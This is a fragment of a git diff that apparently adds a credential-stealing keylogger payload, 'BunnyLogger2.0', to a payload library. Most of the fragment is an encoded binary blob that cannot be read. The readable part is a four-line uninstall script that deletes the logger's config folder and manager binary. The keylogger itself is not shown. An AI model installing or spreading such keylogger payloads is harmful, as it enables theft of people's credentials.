z)Iq_7)8OO#xx0lcJ;HHRN}38@iht4B`Harfy(#vLth;+*kl|EE#@v)ieKTx;*m<~<
z`XR9|Ny~uy>SEY8?15y}wN2h>ZD?Vk|2j~CEzQu|bU${77<+NA@hRPoeO$kkASy~T
z@+Nc@inCuzS$D#c6!cvHdmak=-9fqme(y_h#N|FIF8A@&_hiVu56S&>`MUbK(7YM6
zR>KF-fBup@_7s2LgrsWY_x64%n3=5c8P>9lbXUI;14klyZ-U;+WjN~-=dC-P(B)E}
z@@=#a#%hZ*qsh`MNE&v!Wsk$Oj0AZV
zebi#zn2mdrjzMnW)H;ZMVusa`k?!nQ#?ymapsm8!hIQsaw5ucl>p9D!gm^3=Jx}mB
zDWlEOYen~LOz79^cb1GD7FWh@u)Po8c6?Q^f7mja+FjZUwa#v8r=d3GHdIbTWi_tj
z3E;zx1ArMiKq7g*`v0_dy|Iy1Rs1>AEj42vjS|E!W&))2!!nuOWrv1nG9A0q&bDsL
zveY$T+V1w>F6{1D+olVsC0)t}yUQArS`!FsOqv=|s@A$7QB0sgh@pJhRK?gRG+;n0
z2@Pb0;dk!&otZbUT|?przRXQ#e)pVv&%O7ZckVss-Ffc~#(MBk#IE84FFRH@C*4@n
zTaUFl79EkX%4pg#)@F>giDS*7bDjU_Lw*-`&n%Ssa_g?sOKIKR>z|L@gOjs)`Zva$
zk2r<4((u{xpLjCvGqQ$H$$B}7^|F3qTeF{x9EMH9Ct&8G24>8j*ieX*b#@OgQLF=}
zd<~j>745I1{cDl;uuQf2@mu8ti_Sd62~~Jr@t=}M%V#54OX#D}H+@v(D}F<(pWdey
zhJJ$%D;K*1oS=8g#lBX~P#<|W`Z|ri+ROWbElpLmN?)+0iE4Dx;-?RoF$a5sTpphV
zv~v#aOcduQ#vJr{&L%lO^U=mn_+xu9MZW5fHTwCcEvE_AdMrj;oT5FLKcd5W=<9Jj
zkNq7PJKB$6+QU`57@-MeaXkMWE|aRV9?RT0hw_s^wad_WOSaMsTZw*J7LLu<(u$$D
zxMTtCJcD=190RTE@qS&8#;^Q{W{7
zJn3@=yzSuqUMiL5M044kI0w7K3RblD#u!W%4A{6Hl#c&Zv^9^m;u=xP?#AIAa#JdYeaSeUBn8Vp#Q5W}a*%aozoS*y9*5I!Y<03EPDvx>6
z;`-&-G){scij2hHS1lF_GqnA3nU3f^7<@@+Z%kw)Rv*8BYZD%SxlCFtza#>`Uk{mU
zU~G3jSt$G(c`xYmlaYh!!r}8#SA2`a{_+mVH>K{T<48uPLhVbn27K;=+}u-$;dv})
zBCSRHg!Q;}FS;F*p&l-=c#?CmCdkTl#dchW+*Ld#*!E;Jr!i)Jz#r?ul+VCpX5cY%
zem?S};3#Cso;+jZ!4MDNI%Y{27&~Lgz2e`R#WpYx>4V`jBGF4*8wY$w3?2*t$}%R$
zO61G_YGe@gBQJp24(2{E_mLTWPpbBU+XQX~+#Kj5pfjY~AgXg+hFE?rgQAHmCab5m
zovAt-eOOc{b7(t0{~f?}6i|}b>MJ<5mOm5<3&Oy$acy_&ZRz?W@=cvZm=mZ2&(a#p
zm4`-oh}Yvf>}j;+{;u2UsjYksaBG;0RYckC{#ZNopN0Ojj94;=SfuE{mQw=J;EX@k
z1ex32GTnwgA3>irFXHy|a(}+{wGBd`ZL)4|p13ZO6`Ofe+IzWBaKCW5V}Q+^jfP^G
z7Kz!L{q#}uK*0+or|X+=4H`!~VtSQS(LhB56%AB0P|-j|0~HNaG*Hn%MFSNLR5Vc0
zKt%)pzXsN2qX=o9XxH3ftRchrUzGhhB%^;5qTeNrEfP(#QHF#q0+)IpQ~Vt1xwkZf
z*CD!8L&Q6UU7BaP{AMi4%HR2*aKh2-4?j`3R4@BYNV2sdsfFd(s&nZER%A7|2Q3A*
zFRQgYk7C$>Q;zHhNm^mUS1Bpm{4U|mb1u#Bz>I$o?*)=%<4!Y!ty7n5U+GdokH@Nh
zK>A(TghDEiHodQt?qKk}5jTj{awCoOPpl)Rh*@GMv7b0foFq;YXNil%CE`Wm8gYYIEgRR;
zKe3LOB4&x5MEL_+Nu$I`;xuuVxJcC6*x!F!bC?(ZGg*DZ!JlgGEn>Gm=HQKz9{;(P
zpZ|j5gXGVVf6o2LhCS3!J0AY3P|{DxUuOOJTa^D4`8B^#I=)|ViTot_%N@%9)%%XCx52+y!AV-^k>PB6Y~?w&-_?1LH_tD
zrFW6Og_wRo`E8_cCw4!i`~lJ<#Q7QJPm%sUF?m?|PmqrPQt8@bicgc@O}=+r`7eg}
zt9L8^Pvn1zSbJ3YuaW)_arrLgZ+k-VG~4euuC!0SwX>R6{?#FV{_D!W+;?hs-_D&o
zQVsp7T{rJU>hC?=(6ckO3-1Ei-O#sVM{ob`-FSSex9`x%fV6S{$tzy)65klav(Ll0
zPd(vYQjzx(c)GPOF>rh&acBfL6XSVyvKlkF8;5%aJXeMns|bL_}rbbn%4TE^g9JBRSlgN(e(9Y1c5=UKU&Ha|LF{J!{5
z^XGHS7+RcREt|M2k-Q$E86E#5P<
z_)z2}CJf7e3p~+@jL#*;E$&BXFf5K_sT-^11@V7tW%6;#8@hWc0|K?o8=eZuKSRH2
zXydgej5a(Il3%90;di;Nn!NRE^!GyYc0FKdak148+y4(JZ|BcD&zi*K=SdUd<)rsR
z(4v2nPySXb7|OlK!4&RamieIk%I~zc;g}zkE}ehlK8cJ};k5Pa`e*L1TEp~g^^G=s
z4h2^R)+z_3zUyjF=n6Eubs!!kd@;%`IUczKw9~mV!cA~+vE-Z
zjFO80Sljn3O7KiO8IQC*CWbS1D?+2O4hx_^vitj^(
literal 0
HcmV?d00001
diff --git a/payloads/library/credentials/BunnyLogger2.0/uninstall.sh b/payloads/library/credentials/BunnyLogger2.0/uninstall.sh
new file mode 100644
index 00000000..e6059c36
--- /dev/null
+++ b/payloads/library/credentials/BunnyLogger2.0/uninstall.sh
@@ -0,0 +1,4 @@
+#!/bin/bash
+path=~/.config/bunnyLogger
+rm -rf $path
+sudo rm /usr/local/bin/bunnyLoggerMgr
|